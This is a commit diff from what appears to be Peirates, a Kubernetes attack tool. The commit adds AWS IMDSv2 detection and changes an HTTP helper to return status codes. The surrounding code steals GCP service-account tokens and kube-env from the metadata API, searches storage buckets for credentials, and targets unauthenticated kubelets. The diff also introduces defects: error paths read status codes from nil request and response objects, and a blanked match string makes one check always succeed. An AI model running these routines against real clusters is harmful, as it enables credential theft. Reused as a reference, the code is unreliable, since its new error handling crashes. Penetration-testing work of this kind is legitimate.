Skip to content

Commit 666ef6a

Browse files
committed
feat: add support for IMDSv2 detection
1 parent 748cc35 commit 666ef6a

5 files changed

+26
-21
lines changed

cloud_detection.go

+10-3
Original file line numberDiff line numberDiff line change
@@ -36,7 +36,7 @@ func populateAndCheckCloudProviders() string {
3636
HTTPMethod: "PUT",
3737
CustomHeader: "X-aws-ec2-metadata-token-ttl-seconds",
3838
CustomHeaderValue: "21600",
39-
ResultString: "AWS (IMDSv2)"
39+
ResultString: "",
4040
},
4141
{
4242
Name: "Azure",
@@ -80,14 +80,21 @@ func populateAndCheckCloudProviders() string {
8080
fmt.Printf("Checking %s...\n", provider.Name)
8181

8282
var response string
83+
var statusCode int
8384

8485
var lines []HeaderLine
8586
if provider.CustomHeader != "" {
8687
line := HeaderLine{LHS: provider.CustomHeader, RHS: provider.CustomHeaderValue}
8788
lines = append(lines, line)
88-
response = GetRequest(provider.URL, lines, true)
89+
response, statusCode = GetRequest(provider.URL, lines, true)
8990
} else {
90-
response = GetRequest(provider.URL, nil, true)
91+
response, statusCode = GetRequest(provider.URL, nil, true)
92+
}
93+
94+
if provider.Name == "AWS (IMDSv2)" {
95+
if statusCode == http.StatusOK {
96+
return provider.Name
97+
}
9198
}
9299

93100
if strings.Contains(response, provider.ResultString) {

exec-via-kubelet-api.go

+1-1
Original file line numberDiff line numberDiff line change
@@ -50,7 +50,7 @@ func ExecuteCodeOnKubelet(connectionString ServerInfo, serviceAccounts *[]Servic
5050
println("[+] Kubelet Pod Listing URL: " + nodeName + " - " + unauthKubeletPortURL)
5151
println("[+] Grabbing Pods from node: " + nodeName)
5252

53-
runningPodsBody := GetRequest(unauthKubeletPortURL, headers, false)
53+
runningPodsBody, _ := GetRequest(unauthKubeletPortURL, headers, false)
5454
if (runningPodsBody == "") || (strings.HasPrefix(runningPodsBody, "ERROR:")) {
5555
println("[-] Kubelet request for running pods failed - using this URL:", unauthKubeletPortURL)
5656
continue nodeLoop

gcp.go

+5-5
Original file line numberDiff line numberDiff line change
@@ -27,7 +27,7 @@ func GetGCPBearerTokenFromMetadataAPI(account string) (string, time.Time, error)
2727
baseURL := "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/"
2828
urlSvcAccount := baseURL + account + "/token"
2929

30-
reqTokenRaw := GetRequest(urlSvcAccount, headers, false)
30+
reqTokenRaw, _ := GetRequest(urlSvcAccount, headers, false)
3131

3232
// TODO: Add a check for a 200 status code
3333
if (reqTokenRaw == "") || (strings.HasPrefix(reqTokenRaw, "ERROR:")) {
@@ -92,7 +92,7 @@ func KopsAttackGCP(serviceAccounts *[]ServiceAccount) (err error) {
9292
headers = []HeaderLine{
9393
HeaderLine{"Metadata-Flavor", "Google"},
9494
}
95-
projectID := GetRequest("http://metadata.google.internal/computeMetadata/v1/project/numeric-project-id", headers, false)
95+
projectID, _ := GetRequest("http://metadata.google.internal/computeMetadata/v1/project/numeric-project-id", headers, false)
9696
if (projectID == "") || (strings.HasPrefix(projectID, "ERROR:")) {
9797
msg := "[-] Could not get GCP project from metadata API"
9898
println(msg)
@@ -108,7 +108,7 @@ func KopsAttackGCP(serviceAccounts *[]ServiceAccount) (err error) {
108108

109109
// curl -s -H 'Metadata-Flavor: Google' -H "Authorization: Bearer $(cat bearertoken)" -H "Accept: json" https://www.googleapis.com/storage/v1/b/?project=$(cat projectid)
110110
urlListBuckets := "https://www.googleapis.com/storage/v1/b/?project=" + projectID
111-
bucketListRaw := GetRequest(urlListBuckets, headers, false)
111+
bucketListRaw, _ := GetRequest(urlListBuckets, headers, false)
112112
if (bucketListRaw == "") || (strings.HasPrefix(bucketListRaw, "ERROR:")) {
113113
msg := "[-] blank bucket list or error retriving bucket list"
114114
println(msg)
@@ -132,7 +132,7 @@ eachbucket:
132132
for _, line := range bucketUrls {
133133
println("Checking bucket for credentials:", line)
134134
urlListObjects := line + "/o"
135-
bodyListObjects := GetRequest(urlListObjects, headers, false)
135+
bodyListObjects, _ := GetRequest(urlListObjects, headers, false)
136136
if (bodyListObjects == "") || (strings.HasPrefix(bodyListObjects, "ERROR:")) {
137137
continue
138138
}
@@ -152,7 +152,7 @@ eachbucket:
152152
saTokenURL := objectURL + "?alt=media"
153153

154154
// We use the same headers[] from the previous GET request.
155-
bodyToken := GetRequest(saTokenURL, headers, false)
155+
bodyToken, _ := GetRequest(saTokenURL, headers, false)
156156
if (bodyToken == "") || (strings.HasPrefix(bodyToken, "ERROR:")) {
157157
continue eachbucket
158158
}

http_utils.go

+8-10
Original file line numberDiff line numberDiff line change
@@ -126,31 +126,29 @@ func DoHTTPRequestAndGetBody(req *http.Request, https bool, ignoreTLSErrors bool
126126
// GetRequest is a simple helper function for making HTTP GET requests to the
127127
// provided URL with custom headers, and the option to ignore TLS errors.
128128
// For a more advanced helper, see DoHTTPRequestAndGetBody.
129-
func GetRequest(url string, headers []HeaderLine, ignoreTLSErrors bool) string {
129+
func GetRequest(url string, headers []HeaderLine, ignoreTLSErrors bool) (string, int) {
130130

131131
req, err := http.NewRequest("GET", url, nil)
132+
client := &http.Client{}
132133

133134
if err != nil {
134135
fmt.Printf("[-] GetRequest failed to construct an HTTP request from URL %s : %s\n", url, err.Error())
135-
return ""
136+
return "", req.Response.StatusCode
136137
}
137138

138139
for _, header := range headers {
139140
req.Header.Add(header.LHS, header.RHS)
140141
}
141142

142-
https := false
143-
if strings.HasPrefix(url, "https:") {
144-
https = true
145-
}
146-
147-
reponse, err := DoHTTPRequestAndGetBody(req, https, ignoreTLSErrors, "")
143+
response, err := client.Do(req)
148144
if err != nil {
149145
fmt.Printf("[-] GetRequest could not perform request to %s : %s\n", url, err.Error())
150-
return ""
146+
return "", response.StatusCode
151147
}
148+
defer response.Body.Close()
149+
body, _ := ioutil.ReadAll(response.Body)
152150

153-
return string(reponse)
151+
return string(body), response.StatusCode
154152
}
155153

156154
func createHTTPrequest(method string, urlWithoutValues string, headers []HeaderLine, paramLocation string, params map[string]string) (*http.Request, error) {

peirates.go

+2-2
Original file line numberDiff line numberDiff line change
@@ -909,7 +909,7 @@ func Main() {
909909
{"Metadata-Flavor", "Google"},
910910
}
911911
url := "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/"
912-
svcAcctListRaw := GetRequest(url, headers, false)
912+
svcAcctListRaw, _ := GetRequest(url, headers, false)
913913
if (svcAcctListRaw == "") || (strings.HasPrefix(svcAcctListRaw, "ERROR:")) {
914914
break
915915
}
@@ -940,7 +940,7 @@ func Main() {
940940
headers = []HeaderLine{
941941
{"Metadata-Flavor", "Google"},
942942
}
943-
kubeEnv := GetRequest("http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-env", headers, false)
943+
kubeEnv, _ := GetRequest("http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-env", headers, false)
944944
if (kubeEnv == "") || (strings.HasPrefix(kubeEnv, "ERROR:")) {
945945
println("[-] Error - could not perform request http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-env/")
946946
// TODO: Should we get error code the way we used to:

0 commit comments

Comments
 (0)